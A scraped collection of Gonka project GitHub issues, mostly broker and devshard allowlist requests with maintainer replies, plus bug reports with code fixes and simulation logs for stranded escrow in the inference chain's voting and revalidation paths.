I have tested the current public gateway/broker options available to me for this workflow. While they can be useful for simple prompts, I have not found one that is reliable enough yet for sustained agentic engineering sessions.
Agentic coding workflows stress the gateway layer much more heavily:
This is the reliability gap I want to work on.
Creating a public landing page, buying a domain, and launching a public endpoint before I can validate the core local MVP would be premature. I am therefore requesting a small, controlled allowlist entry first, so I can validate the DevShards creator/operator path locally.
When the local MVP works, I will move to a limited-access beta endpoint for closed testing. When that beta is stable, I will then submit a follow-up public broker listing request with a final name, endpoint, documented limits, and billing model.
"}, {"location": "community/issues/01229-request-for-phased-devshards-creator-allowlist-access-for-lo/#requested-access", "title": "Requested Access", "text": "Please add one creator address to devshard_escrow_params.allowed_creator_addresses for local/pre-MVP validation:
gonka17ag8defq5afygld2n6pln6y2xw8z9378jwpca6\nThis account is already funded above devshard_escrow_params.min_amount and has its on-chain pubkey published.
Initial scope:
Public endpoint: not available yet
I can expose a limited-access endpoint for maintainers or closed beta testers after the local MVP validation succeeds.
"}, {"location": "community/issues/01229-request-for-phased-devshards-creator-allowlist-access-for-lo/#billing-model", "title": "Billing Model", "text": "No public billing model is requested for this local validation phase.
For a later public broker request, I expect to provide a usage-backed billing model together with documented limits and abuse controls.
"}, {"location": "community/issues/01229-request-for-phased-devshards-creator-allowlist-access-for-lo/#current-validation", "title": "Current Validation", "text": "I have already validated the basic account prerequisites:
devshard_escrow_params.min_amount;Current direct requests from a normal funded account do not proceed to inference execution under the current DevShards setup, so I would like to validate the intended creator/operator path.
I can provide minimal reproduction logs privately or in a follow-up comment if useful.
"}, {"location": "community/issues/01229-request-for-phased-devshards-creator-allowlist-access-for-lo/#review-request", "title": "Review Request", "text": "Could someone from the DevShards / broker allowlist maintainers please review this request or point me to the preferred process?
I am happy to coordinate and adjust the validation scope, limits, or rollout process to match network policy.
"}, {"location": "community/issues/01229-request-for-phased-devshards-creator-allowlist-access-for-lo/#comments-1", "title": "💬 Comments (1)", "text": "@tcharchian commented 2026-06-23 23:22 UTCHi @sspotanin!
On the process you asked about: allowlisting a gonka1… creator address is an on-chain governance decision. Addresses on devshard_escrow_params.allowed_creator_addresses are added through a governance vote — no single maintainer or operator adds one unilaterally. To be clear, your actual ask (validating the creator/operator path locally) does require the allowlist; that's the part where you create and settle escrows yourself, and no managed service substitutes for it. So nothing below replaces this request.
That said, given the specific gap you're targeting (reliability for sustained agentic sessions), one community option worth being aware of in parallel is OpenBroker (run by Gonka Labs). https://github.com/gonka-ai/gonka/discussions/1363 It's a managed devshard platform that runs v1/v2 (and future versions) at production scale with full per-request and network observability, and it's explicitly used as a live testbed for exercising devshard versions under load. Two ways it might be useful while the governance request is reviewed:
OpenBroker is an independent third party, not part of the core protocol, and exactly the kind of existing option you said you've already evaluated — so treat it as a reference/benchmark, not as the answer to the reliability gap you're building toward. It's just a way to keep the client-side work moving in parallel with the allowlist governance process.
🔄 Auto-synced from Issue #1229 every hour.
"}, {"location": "community/issues/01237-request-to-be-added-as-a-gonka-broker/", "title": "#1237 — Request to be added as a Gonka broker", "text": "Request to be added as a Gonka broker #1237 Closed @piterberkut opened 2026-05-23 13:54 UTC 2 comments Updated 2026-06-23 22:46 UTCHi Gonka core team & community,
We're requesting inclusion of the OpenGonka gateway in the public broker list
Project: OpenGonka Contact: info@gonkakeeper.com — Discord/Telegram: @piterberkut
About the team OpenGonka is built by the same team behind GonkaKeeper — a native Gonka wallet with a built-in AI chat. Through GonkaKeeper we already operate against the live Gonka API on behalf of end users (key management, signing, on-chain interactions, inference UX), so the broker is a natural extension of work we're doing daily rather than a greenfield project. The same operational team, monitoring stack, and on-call rotation cover both products.
Endpoint
Public gateway URL: https://api.opengonka.com OpenAI-compatible surface:
POST /v1/chat/completions (streaming supported) GET /v1/models GET /health, GET /ready
Auth — two modes:
Broker-managed keys — Authorization: Bearer gnk-sk-.... We hold the on-chain identity and sign on the user's behalf. Client-signed passthrough — we forward native Gonka headers (Authorization, X-Requester-Address, X-Timestamp) unchanged when the client signs requests itself.
On-chain identity
Devshard creator address: gonka1dxgk6x9xts7x34ssgrgqg34rwc2xq46ar5zxpt
Supported models
Qwen/Qwen3-235B-A22B-Instruct-2507 moonshotai/Kimi-K2.6
OpenRouter is wired as a fallback in the same model family and is engaged only when our health worker reports Gonka as unavailable. The billing path makes the routing transparent to the user (see below). Rate limits
Per source IP: 1 req/sec Per X-Requester-Address: 30 req/min Burst / abuse protection via Fastify rate-limit + Redis. Per-API-key quotas are scheduled for the Hub milestone.
Billing
Accepted at launch: USDT, GNK-credits. Fiat USD planned for a later milestone. Markup: flat 10% over upstream cost.
We'll also participate in the on-chain governance vote and respond to follow-up questions in this thread. Thanks! — OpenGonka (@piterberkut)
"}, {"location": "community/issues/01237-request-to-be-added-as-a-gonka-broker/#comments-2", "title": "💬 Comments (2)", "text": "@piterberkut commented 2026-05-28 18:43 UTC@tcharchian , Hi, i see that this issue is completed. What our team should do next to join allowlist with our gonka adress?
@tcharchian commented 2026-06-23 22:46 UTCHi! At the moment, the public broker list is not being actively expanded through governance. Inclusion in that list should be handled through the governance process and discussed in the community.
As a practical alternative, there is now a community-operated option for teams that want to start operating as brokers without waiting for direct access https://github.com/gonka-ai/gonka/discussions/1363.
OpenBroker provides access to Gonka inference through devshards v1 and v2 under an already whitelisted escrow-operating wallet. It is intended for teams that want to build or test broker-side products without handling escrow enrollment, escrow funding and rotation, v1/v2 state-root differences, or node4 access.
You can register here: https://openbroker.gonka.gg/register
Endpoint: https://openbroker.gonka.gg/v1
Stats: https://openbroker.gonka.gg/stats
This should let you start while the governance discussion around inclusion/white-listing continues separately.
🔄 Auto-synced from Issue #1237 every hour.
"}, {"location": "community/issues/01241-request-to-be-added-as-a-gonka-broker/", "title": "#1241 — Request to be added as a Gonka broker", "text": "Request to be added as a Gonka broker #1241 Closed @olkwwuah opened 2026-05-24 17:24 UTC 0 comments Updated 2026-05-24 17:26 UTCHi Gonka core team & community,
I'm requesting inclusion as a Gonka broker and inclusion of my address in the devshard creator allow-list.
Operator name: Daniel / LabdaLab Contact: Discord: @labdalab, Telegram: @That_metalhead
URL: https://gonkadalab.com
Devshard address: gonka15uuzwv36ln8mlsmu7ccg6rr3ntj9mh7t9x6n8u
Models: Qwen/Qwen3-235B-A22B-Instruct-2507 moonshotai/Kimi-K2.6
Rate limits: 60 RPM API key on the starter plan
Billing: Crypto, GNK
Target audience: Developers who need an OpenAI-compatible Gonka API endpoint.
Thanks, and I wish everyone a great day!
🔄 Auto-synced from Issue #1241 every hour.
"}, {"location": "community/issues/01245-request-to-be-added-as-a-gonka-broker-for-run-my-own-gateway/", "title": "#1245 — Request to be added as a Gonka broker (for run my own gateway)", "text": "Request to be added as a Gonka broker (for run my own gateway) #1245 Closed @Korolev-Oleg opened 2026-05-25 13:27 UTC 1 comment Updated 2026-06-23 23:17 UTCOperator name and contact (email or Discord handle). 1kor.oleg@gmail.com @unixverse_cli
Public endpoint URL of your gateway. no public endpoints because its for run own gateway purpose
Gonka address you intend to use for devshard creation (gonka1...). https://note2.gonka.ai:8000 https://node4.gonka.ai
Supported models and any rate limits you plan to enforce. Qwen/Qwen3-235B-A22B-Instruct-2507 moonshotai/Kimi-K2.6
A brief description of your billing model (USD / crypto / credits) and target audience. experimental, develop an application but in future maybe in $T / credits
"}, {"location": "community/issues/01245-request-to-be-added-as-a-gonka-broker-for-run-my-own-gateway/#comments-1", "title": "💬 Comments (1)", "text": "@tcharchian commented 2026-06-23 23:17 UTCHi @Korolev-Oleg! Before anything can move on the self-hosted gateway side, the address field in the request needs fixing: Devshard creator address needs to be a gonka1… account address that you control (the one your gateway will sign escrow transactions from).
On the path itself: running your own devshard gateway means becoming an on-chain escrow operator, which requires your gonka1… creator address on the governance-controlled allowlist (devshard_escrow_params.allowed_creator_addresses). That path is open, but inclusion is an on-chain governance decision — no single operator or org adds an address unilaterally — so it goes through a governance request.
If the goal right now is to build and test against Gonka rather than to operate escrows, there are independent, managed gateways in the community that already run under whitelisted wallets and expose a plain OpenAI-compatible endpoint — so you can start immediately without your own allowlisting. One such community option is OpenBroker (run by Gonka Labs): https://github.com/gonka-ai/gonka/discussions/1363
OpenBroker is independent third party, not part of the core protocol
Links: https://openbroker.gonka.gg · https://openbroker.gonka.gg/stats · https://gonkalabs.com
🔄 Auto-synced from Issue #1245 every hour.
"}, {"location": "community/issues/01247-request-to-be-added-as-a-gonka-broker/", "title": "#1247 — Request to be added as a Gonka broker", "text": "Request to be added as a Gonka broker #1247 Closed @olkwwuah opened 2026-05-26 07:27 UTC 1 comment Updated 2026-06-23 23:10 UTCHi Gonka team & community,
I'm requesting inclusion as a Gonka broker and inclusion of our address in the devshard creator allow-list.
Operator: Daniel Contact: Discord @labdalab, Telegram @That_metalhead Public URL: https://gonkadalab.com
About us: We are a team building infrastructure around Gonka. We aim to help expand the ecosystem, attract new users, and provide practical tools and services that make Gonka easier to access and use.
Devshard creator address: gonka15uuzwv36ln8mlsmu7ccg6rr3ntj9mh7t9x6n8u
Supported models: Qwen/Qwen3-235B-A22B-Instruct-2507 moonshotai/Kimi-K2.6
Initial rate limits: 60 RPM per API key
Billing: Crypto / GNK
Thanks, Daniel
"}, {"location": "community/issues/01247-request-to-be-added-as-a-gonka-broker/#comments-1", "title": "💬 Comments (1)", "text": "@tcharchian commented 2026-06-23 23:10 UTCHi @olkwwuah!
Two parts to your ask — broker listing and allowlisting your devshard creator address — so a quick note on how each works:
Allowlisting gonka15uuzwv36ln8mlsmu7ccg6rr3ntj9mh7t9x6n8u. Operating your own devshard gateway means becoming an on-chain escrow operator, which requires your creator address on the governance-controlled allowlist (devshard_escrow_params.allowed_creator_addresses). That path is open, but inclusion is an on-chain governance decision — no single operator or org adds an address unilaterally — so it goes through a governance request. On top of the allowlist, you'd own the escrow lifecycle yourself: funding, rotation, v1/v2 state roots, and settlement.
Broker listing. The community broker directory is a curated, non-exhaustive set from the early rollout and isn't being actively expanded.
If you'd rather not wait on a governance vote, there are independent, managed gateways in the community that already operate under whitelisted wallets and expose a plain OpenAI-compatible endpoint — so you can start serving inference now without your own allowlisting. One such community option is OpenBroker (run by Gonka Labs): https://github.com/gonka-ai/gonka/discussions/1363
OpenBroker is independent third party, not part of the core protocol
🔄 Auto-synced from Issue #1247 every hour.
"}, {"location": "community/issues/01257-request-to-be-added-as-a-gonka-broker/", "title": "#1257 — Request to be added as a Gonka broker", "text": "Request to be added as a Gonka broker #1257 Closed @len5ky opened 2026-05-26 15:37 UTC 1 comment Updated 2026-07-03 00:47 UTCHi Gonka core team & community,
We're requesting inclusion of Gonka Relay as a Gonka broker: adding our on-chain address to devshard_escrow_params.allowed_creator_addresses and listing alongside the existing community brokers wherever that list lives.
Gonka Relay is a Gonka-network-anchored inference operator built on OpenGNK (MIT) for signing and routing. Home is gonkarelay.com, with gonkaport.com held as a sibling domain for future audience-segmented motions.
The name describes the function: we relay signed inference between the Gonka network and the workloads we run on top of it.
"}, {"location": "community/issues/01257-request-to-be-added-as-a-gonka-broker/#what-were-building-on-gonka", "title": "What we're building on Gonka", "text": "The allowlist entry unblocks three uses:
genai-perf-style harness against the network at varying concurrency (1 / 10 / 100 / 1000 streaming concurrent) and prompt sizes (100 / 1k / 10k / 100k tokens), targeting Kimi K2.6 and Qwen3-235B. We will publish TTFT, tokens-per-sec, tail latency, error rate, and refund rate as a separate issue in this repo. These are characteristics the network has not yet published sustained numbers for, and the broader ecosystem benefits from the data being public regardless of how this application resolves.A paid customer surface launches on the same ramp, initially with a waitlist, opening as our capacity numbers and operational tail stabilize.
"}, {"location": "community/issues/01257-request-to-be-added-as-a-gonka-broker/#team-and-contact", "title": "Team and contact", "text": "gonka1jduzghunqzmcddwh5sc52lu75gu8elwywxht6ldevshard_escrow_params.min_amount and has its on-chain pubkey published (secp256k1).https://gonkarelay.com/v1/..., OpenAI-compatible. Not yet live at filing time. We stand it up after the validation work below.GET /health, GET /ready (planned).Authorization: Bearer gnkrelay-sk-.... We hold the on-chain identity and sign on behalf of the upstream workload. Default for the LLM-tooling and OSS-agentic use cases above.Authorization, X-Requester-Address, X-Timestamp) unchanged when the caller signs requests itself. For GNK-wallet-native developers and contributors.moonshotai/Kimi-K2.6 (primary): the model we optimize capacity and reliability around.Qwen/Qwen3-235B-A22B-Instruct-2507-FP8 (secondary).GET /v1/models on the upstream network gateway. We will not hard-code the list.Phase ceilings will not be exceeded without first updating this issue. Standard burst and abuse protection (rate-limit middleware, per-IP throttling, per-key quotas) will be in place from Phase B onward.
"}, {"location": "community/issues/01257-request-to-be-added-as-a-gonka-broker/#settlement-and-billing", "title": "Settlement and billing", "text": "gonkarelay.com and internal validation traffic begins flowing. Capacity-benchmark harness starts running in the same window.Thanks for reviewing.
Gonka Relay
"}, {"location": "community/issues/01257-request-to-be-added-as-a-gonka-broker/#comments-1", "title": "💬 Comments (1)", "text": "@tcharchian commented 2026-07-03 00:37 UTCHi @len5ky! Thanks, this is one of the most thorough operator applications filed here. A few things to separate, because you're actually asking for two different things governed differently.
On the allowlist (devshard_escrow_params.allowed_creator_addresses): additions happen only through on-chain governance — a param-change proposal or inclusion in a governance-approved upgrade batch. No maintainer adds an address unilaterally. Filing this issue with a funded, pubkey-published address is exactly the right way to register intent, but inclusion and timing are governance-dependent and not guaranteed, so please don't gate your roadmap on a specific approval date.
On directory listing, stand your endpoint up on a managed devshard backend (more on that below), run real traffic, and let the numbers accumulate — community observability dashboards like G-Meter (https://meter.gonka.gg/), Gonka Power (https://power.gnk.space/), https://openbroker.gonka.gg/stats independently probe public broker endpoints, so your stats become verifiable by anyone. Once gonkarelay.com is live and has a few weeks of good public numbers behind it, a pull request to the docs adding it to the broker list is the natural next step.
One factual update for your plan: Qwen/Qwen3-235B-A22B-Instruct-2507-FP8 has been retired from the network, so the benchmarking matrix and the \"secondary model\" intent should be re-scoped around what's currently active — the model set is decided by governance per epoch, so check the live list via GET /v1/models.
One suggestion that could unblock most of your plan today rather than after a governance vote: your Phase A (validation, benchmarking harness) and Phase B (in-house LLM tooling, OSS-agentic integrations) don't strictly require being the escrow creator — they require throughput against real devshards. OpenBroker (https://openbroker.gonka.gg, https://github.com/gonka-ai/gonka/discussions/1363) provides exactly that: GNK-settled at cost with no markup (ledger deducted 1-to-1 with escrow cost), no enrollment wait, both protocol versions, and no rate caps beyond network capacity. Since you already hold GNK, the economics are equivalent to running your own escrows. The honest caveat, it's custodial (you deposit to an address the operator controls, access via their API key), and your latency numbers would include their proxy hop — worth stating in your methodology if you publish benchmarks gathered through it. But it would let the capacity-benchmarking and in-house workloads start now, and your published TTFT/throughput/tail-latency data would be genuinely valuable to the network either way.
Where your own allowlist entry remains necessary is the part of your design that's creator-specific: client-signed passthrough, controlling your own escrow rotation and settlement, and being a direct on-chain operator for the paid surface. That case stands as filed, and the phased commitments you've laid out are the right kind of material for governance participants to weigh.
Overall, the allowlist request is well-formed for governance consideration as filed. In parallel, nothing blocks you from launching this week on an at-cost managed devshard backend, running the benchmark harness and Phase A/B workloads, building a public track record on the community dashboards — and then bringing both the directory-listing PR and the allowlist case back with real numbers behind them.
🔄 Auto-synced from Issue #1257 every hour.
"}, {"location": "community/issues/01262-request-to-be-added-as-a-gonka-broker/", "title": "#1262 — Request to be added as a Gonka broker", "text": "Request to be added as a Gonka broker #1262 Closed @anikiyevichm opened 2026-05-27 16:11 UTC 5 comments Updated 2026-06-27 01:27 UTCHi Gonka Core Team and Community, We would like to formally request the inclusion of the Gonka24 gateway in the public broker list. Gonka24 is being developed as a gateway focused on providing reliable access to Gonka inference for both B2B users with existing inference workloads and B2C users actively working with AI agents. Operator name: Gonka24 Website: https://gonka24.com Contact: gonka24support@gmail.com Public gateway URL: https://api.gonka24.com/v1 Gonka address for devshard creation: gonka16msrxqwfedlll09hdwv0zmma6wttxx0wqqlt0y Supported models: - Qwen/Qwen3-235B-A22B-Instruct-2507-FP8 - moonshotai/Kimi-K2.6 Rate limits (default tier, per-instance counters on Cloud Run): Per source IP (enforced pre-auth): - 5 requests / second (burst window) - 60 requests / minute (sustained window) Per API key (enforced post-auth, applied to all /v1/* routes): - 30 requests / minute - 600 requests / hour Health probes and payment webhooks are exempt. Exceeding any window returns HTTP 429 in OpenAI-compatible format (type: \"rate_limit_error\") with a Retry-After header. For B2B customers, rate limits are flexible and negotiated per contract based on the expected workload. Billing model: $0.05 per 1M tokens, flat across all supported models. Payment methods: - Crypto (live, via NOWPayments) - Stripe (in progress) Optional free fallback: Users can opt in to a last-resort OpenRouter free-tier fallback from their dashboard. When enabled, if both Gonka and the paid OpenRouter route fail, the request is routed to a free OpenRouter meta-model and the user is not charged for the response. Disabled by default. Target audience: Our target audience includes both B2B and B2C segments. - B2B: companies that already have significant inference-related costs and are looking for a more efficient, scalable, and cost-effective way to run AI workloads. - B2C: users who actively use AI agents and need reliable, affordable access to inference for daily tasks, automation, and productivity.
"}, {"location": "community/issues/01262-request-to-be-added-as-a-gonka-broker/#comments-5", "title": "💬 Comments (5)", "text": "@anikiyevichm commented 2026-05-28 14:54 UTC@tcharchian , Hi, i see that this issue is completed. What our team should do next to join allowlist with our gonka adress?
@tcharchian commented 2026-06-23 22:47 UTCHi! At the moment, the public broker list is not being actively expanded through governance. Inclusion in that list should be handled through the governance process and discussed in the community.
As a practical alternative, there is now a community-operated option for teams that want to start operating as brokers without waiting for direct access https://github.com/gonka-ai/gonka/discussions/1363.
OpenBroker provides access to Gonka inference through devshards v1 and v2 under an already whitelisted escrow-operating wallet. It is intended for teams that want to build or test broker-side products without handling escrow enrollment, escrow funding and rotation, v1/v2 state-root differences, or node4 access.
You can register here: https://openbroker.gonka.gg/register
Endpoint: https://openbroker.gonka.gg/v1
Stats: https://openbroker.gonka.gg/stats
This should let you start while the governance discussion around inclusion/white-listing continues separately.
@anikiyevichm commented 2026-06-24 07:42 UTC@tcharchian Hi, thanks for the clarification.
Our team is already going through the onboarding process with OpenBroker, and we appreciate this option as a practical way to start operating.
At the same time, we would still like to continue the discussion around being included in the official broker list, especially here: https://gonka.ai/docs/developer/quickstart/
The reason is that during conversations with potential customers, especially B2B clients and contractors, we are sometimes asked why our service is not listed there. This creates additional friction in sales and makes it harder for us to establish trust as a broker-side provider.
@anikiyevichm commented 2026-06-24 10:35 UTChttps://github.com/gonka-ai/gonka-docs/pull/1252 - We have prepared a PR
@tcharchian commented 2026-06-27 01:27 UTCHi @anikiyevichm, I wanted to raise a concern about the way your website is currently presented. All footer links on the site point to the official Gonka channels and gonka.ai. Even the “Docs” link in the website header does not lead to your own documentation, but to the official Gonka docs on gonka.ai. The site also lists Gonka’s audits and partners in a way that makes it look like those audits and partnerships apply to your service directly.
Overall, the website is structured and presented differently from other brokers’ websites, and I think it may be misleading for users. It creates the impression that this is an official Gonka website, or that Gonka’s official partners, audits, and documentation are associated with your broker specifically.
Could you please review this and adjust the website so that it is clearly positioned as an independent broker, with proper distinction from the official Gonka website and channels?
🔄 Auto-synced from Issue #1262 every hour.
"}, {"location": "community/issues/01264-logprobs-top-logprobs-conditional-stripping/", "title": "#1264 — logprobs, top_logprobs conditional stripping", "text": "logprobs, top_logprobs conditional stripping #1264 Closed @a-kuprin opened 2026-05-27 17:29 UTC 1 comment Updated 2026-07-20 05:41 UTC enhancementThe gateway forces logprobs upstream for validation, but clients who never asked for logprobs should not see them in the response (OpenAI-compatible default). Clients who explicitly set logprobs: true or top_logprobs should get them back.
Now we always strip them even if client asked this fields in request
Recommendation: Adopt conditional stripping for logprobs and top_logprobs on the client-facing proxy path. Keep unconditional stripping for token_ids, prompt_token_ids, and prompt_logprobs.
"}, {"location": "community/issues/01264-logprobs-top-logprobs-conditional-stripping/#comments-1", "title": "💬 Comments (1)", "text": "@a-kuprin commented 2026-07-20 05:41 UTCMerged to v4 https://github.com/gonka-ai/gonka/commit/4a8eb85af061c94e8f572d42bb5ee5f1c267fa2f
🔄 Auto-synced from Issue #1264 every hour.
"}, {"location": "community/issues/01265-stuck-voting-inferences-orphan-client-escrow-when-xgroup-pro/", "title": "#1265 — Stuck VOTING inferences orphan client escrow when x/group proposals miss quorum", "text": "Stuck VOTING inferences orphan client escrow when x/group proposals miss quorum #1265 Open @vitaly-andr opened 2026-05-27 19:50 UTC 5 comments Updated 2026-05-30 17:17 UTC"}, {"location": "community/issues/01265-stuck-voting-inferences-orphan-client-escrow-when-xgroup-pro/#summary", "title": "Summary", "text": "expireInferences (inference-chain/x/inference/module/module.go:226-234) filters by Status == STARTED only. When a failing MsgValidation transitions an inference to VOTING and the resulting x/group proposals don't reach quorum, the inference is silently skipped by the timeout cleanup, the timeout entry is removed unconditionally at line 391, and the client's escrow is permanently held in the inference module account.
Surfaced 2026-05-27 by a multi-seed sim sweep (related to #982 Phase 3 work) — seed 99 triggered a custom NoStuckVoting invariant: an inference from epoch 0 was still in Status=VOTING at epoch 10.
A black-box test driving the real expireInferences is in #1275: TestExpireInferences_VotingInferenceRefundedOnTimeout (inference-chain/x/inference/module/expire_voting_stuck_test.go).
It seeds a VOTING inference plus a matching InferenceTimeout, then calls the real (unexported) expireInferences through an export_test.go wrapper with a mocked bank keeper. On current main it fails — the refund is never issued and the inference stays VOTING; with the fix in #1275 it passes (inference marked EXPIRED, client escrow refunded).
MsgStartInference — escrow ngonka to inference module account, Status=STARTED, InferenceTimeout queued at start_block + ExpirationBlocks.MsgFinishInference — Status=FINISHED.MsgValidation (msg_server_validation.go:178) — Status=VOTING, two x/group proposals (invalidate, revalidate) created via submitValidationProposalsWithPolicy at line 280.EndBlock tallies and prunes but does not auto-execute — execution requires MsgExec or a vote with Exec_EXEC_TRY (cosmos-sdk/x/group/keeper/msg_server.go:771-777).InferenceTimeout.ExpirationHeight. EndBlocker calls expireInferences (module.go:208).module.go:231 only handles Status == STARTED:if inference.Status == types.InferenceStatus_STARTED {\n am.handleExpiredInferenceWithContext(...)\n}\nVOTING falls through. No refund. 7. RemoveInferenceTimeout (module.go:391) unconditionally removes the timeout entry. 8. Inference now permanently VOTING, client escrow stuck in inference module account.
Liveness for client funds. Not a chain halt — block processing continues. But on every failing MsgValidation that misses x/group quorum within the voting window, the client's escrow is lost permanently. The trigger (validators not reaching majority within the voting window) is a routine production condition — network lag, validator restart, split votes — not an exotic edge case.
Extend the filter at module.go:231 to also handle VOTING:
switch inference.Status {\ncase types.InferenceStatus_STARTED:\n am.handleExpiredInferenceWithContext(ctx, inference, expiryCtx)\ncase types.InferenceStatus_VOTING:\n // Voting window expired without consensus. Refund client, mark\n // EXPIRED, leave x/group proposals to be pruned by x/group EndBlock.\n am.expireInferenceAndIssueRefund(ctx, inference)\n}\nSmallest change that restores liveness. Implements default-to-refund semantics on quorum miss: when validators don't reach consensus, client gets escrow back, executor receives no payment, no slashing.
"}, {"location": "community/issues/01265-stuck-voting-inferences-orphan-client-escrow-when-xgroup-pro/#alternative-semantics-for-separate-discussion", "title": "Alternative semantics (for separate discussion)", "text": "The minimal fix picks one of several reasonable semantics. The following alternatives are worth considering as a separate design discussion (not bundled with this fix):
Not recommended: default-to-validate (passive non-voting becomes implicit approval — attack vector); slash non-voting validators (DoS vector via spurious failing validations).
"}, {"location": "community/issues/01265-stuck-voting-inferences-orphan-client-escrow-when-xgroup-pro/#open-questions-for-maintainers", "title": "Open questions for maintainers", "text": "@patimen — touching code you originally wrote (module.go:231, commit 2f33567dd7). Flagging directly since you'd have the most context on the intended semantics here.
Quick follow-up: applied the filter extension from the body of this issue locally (module.go:231 → also handle Status=VOTING via expireInferenceAndIssueRefund) and reran sim. The timeout-stuck path is no longer reachable on seed=99 — sim-full now progresses past the previous failure point.
What surfaced next is a distinct mechanism in the revalidation vote path: validators present in ActiveParticipantsSet[epoch] can be absent from the corresponding x/group, and voteValidationProposal hard-errors with voter not found instead of treating non-member as no-op. Root cause is the permissive addEpochMembers (skip on nil-seed, continue on AddMember error — module.go:1134, :1143) which leaves the ActiveParticipantsSet ⊆ group members invariant unmaintained.
Filed separately as #1269 with the sim reproduction (seed=99, block 39/500) and a suggested structural pre-check using GroupMessageKeeper.GroupMembers. Liveness for that path is now bounded by the timeout cleanup proposed in this issue, so it's a correctness/quorum issue rather than fund-loss.
I think we should focus now on devshard inference flow. Anyway legacy inference flow will not be supported in the future.
Also do we really have such issue in production environment?
@vitaly-andr commented 2026-05-30 08:13 UTCThanks for the steer — both points taken.
On \"do we really have this in production?\" — honestly, I can't confirm it from chain state. I scanned ~40k inferences on a mainnet node and found none in VOTING, but that's not evidence either way: inferences that enter the epoch-group validation path get a real epoch_id and are pruned after InferencePruningEpochThreshold epochs (keeper/pruning.go), while only the epoch_id=0 start/finish/expire residue persists. So state inspection structurally can't answer this — it'd need tx history (the public node has tx_index=off) or your internal telemetry. Do you have a way to see whether a failing MsgValidation → quorum-miss has actually occurred?
My case for the fix isn't \"it happens a lot in prod\" — it's that the gap is real in the code (expireInferences silently skips VOTING and still removes the timeout entry, stranding client escrow), the fix is minimal (one VOTING branch → refund), and it's required for the #982 sim-full run to stay green (the no-stuck-voting invariant catches it deterministically). If the legacy validation flow is genuinely being retired, I'm happy to defer or close #1275 — your call.
On devshard — point taken, and I'd like to follow it. The simsx infrastructure from #982 (#1228) is flow-agnostic plumbing; it currently carries only the legacy factories, but it's the natural place to add devshard coverage. I'm happy to write the sim factories + invariants for the escrow/settlement path (MsgCreateDevshardEscrow / MsgSettleDevshardEscrow). The one open question is how to treat VerifyDevshardSettlement's signature check under simulation — would welcome a hint on the intended approach.
One ask: #1228 (the #982 simsx infrastructure) hasn't had a review yet. Could you take a look? It's the foundation everything above builds on, and a first pass from you would help me aim the next round (legacy vs devshard) correctly.
@a-kuprin commented 2026-05-30 15:37 UTCit's the natural place to add devshard coverage
Validation logic of devshard is subject to change in future releases
@vitaly-andr commented 2026-05-30 17:17 UTC@patimen — pulling you in, since you authored #982 and own the original scope.
I want to make sure I'm putting effort where it's actually useful. a-kuprin's steer here is clear, and I agree with it: legacy validation is being retired, and devshard's validation logic is still in flux — so I'll hold off on adding devshard sim coverage until it stabilizes (no point simming a moving target).
What I'm unsure about is the disposition of the work already done on this accepted issue. Two honest questions:
main today. Even if focus shifts to devshard, is there a reason not to land them now?If this whole area is being superseded and the fixes aren't worth merging, that's completely fine — I'd just like to know, so I can close things out cleanly rather than leave them open. Whatever fits your roadmap.
🔄 Auto-synced from Issue #1265 every hour.
"}, {"location": "community/issues/01269-xinference-revalidation-vote-fails-when-voter-absent-from-ep/", "title": "#1269 — x/inference: revalidation vote fails when voter absent from epoch x/group", "text": "x/inference: revalidation vote fails when voter absent from epoch x/group #1269 Open @vitaly-andr opened 2026-05-28 12:45 UTC 0 comments Updated 2026-05-28 16:52 UTC🔄 Auto-synced from Issue #1269 every hour.
"}, {"location": "community/issues/01269-xinference-revalidation-vote-fails-when-voter-absent-from-ep/#xinference-revalidation-vote-fails-when-voter-absent-from-epoch-xgroup", "title": "x/inference: revalidation vote fails when voter absent from epoch x/group", "text": ""}, {"location": "community/issues/01269-xinference-revalidation-vote-fails-when-voter-absent-from-ep/#summary", "title": "Summary", "text": "MsgValidation{Revalidation:true} for an inference whose VOTING window is still open fails with voter address: <bech32>: not found when the submitter is in ActiveParticipantsSet[inference.EpochId] but is NOT a member of the x/group that owns inference.ProposalDetails.ReValidatePolicyId at the moment the second of two sequential votes is dispatched.
The handler issues two k.group.Vote calls back-to-back (Invalidate then Revalidate). Either vote can hit a state where the voter is missing from the group. Two independent mechanisms can produce that state — one demonstrated by sim, one plausible from code inspection.
Related to #1265 (manifestation #1: VOTING-stuck escrow on timeout, narrow fix already discussed there).
"}, {"location": "community/issues/01269-xinference-revalidation-vote-fails-when-voter-absent-from-ep/#reproduction-simulation", "title": "Reproduction (simulation)", "text": "Two prerequisites:
make sim-full-test, simsx wiring, first-wave x/inference operations):gh pr checkout 1228\n--- a/inference-chain/x/inference/module/module.go\n+++ b/inference-chain/x/inference/module/module.go\n@@ -228,6 +228,11 @@ func (am AppModule) expireInferences(\n if inference.Status == types.InferenceStatus_STARTED {\n am.handleExpiredInferenceWithContext(ctx, inference, expiryCtx)\n+ } else if inference.Status == types.InferenceStatus_VOTING {\n+ // VOTING inferences whose x/group proposals missed quorum\n+ // would otherwise be silently dropped here, stranding client\n+ // escrow in the inference module account.\n+ am.expireInferenceAndIssueRefund(ctx, inference)\n }\n }\n return nil\nThen from inference-chain/, run sim-full in canonical Docker per docs/simulation.md with -Verbose=true so the intra-tx trace is captured:
go test -mod=readonly -tags \"sims muslc\" ./app/ \\\n -run \"TestFullAppSimulation\" \\\n -Enabled=true -Commit=true -Verbose=true \\\n -NumBlocks=500 -BlockSize=200 -Seed=99 -GenesisTime=1700000000 \\\n -v -timeout 180m\nOn seed=99 the run terminates at block 39/500, op 222. The verbose trace within the failing MsgValidation tx shows the full sequence:
INF Voting vote=\"proposal_id:170 voter:gonka1acqhn... Invalidate ...\"\nINF Voted on validation vote=\"proposal_id:170 ...\" ← first vote succeeds\nINF Inference invalidated\nINF Participant status updated new=INVALID original=ACTIVE\n reason=statistical_invalidations\nWRN Participant invalidated\nINF Slashing participant slash_fraction=0.2 ← voter removed from group here\nINF Voting vote=\"proposal_id:171 voter:gonka1acqhn... Revalidate ...\"\nERR Error voting error=\"voter address: gonka1acqhn...: not found\"\n vote=\"proposal_id:171 ...\" ← second vote fails\nsimulate.go:346: error on block 39/500, operation (222/236) ...\nThe handler revalidateInferenceVote (x/inference/keeper/msg_server_validation.go:226) calls k.voteValidationProposal twice in sequence — first on InvalidatePolicyId, then on ReValidatePolicyId (msg_server_validation.go:246, :253). Both calls bottom out at k.group.Vote (msg_server_validation.go:304), which suppresses one exact error string only — \"proposal not open for voting: invalid value\" (msg_server_validation.go:306); every other error propagates as DeliverTx failure.
Two independent mechanisms can leave the voter absent from the group:
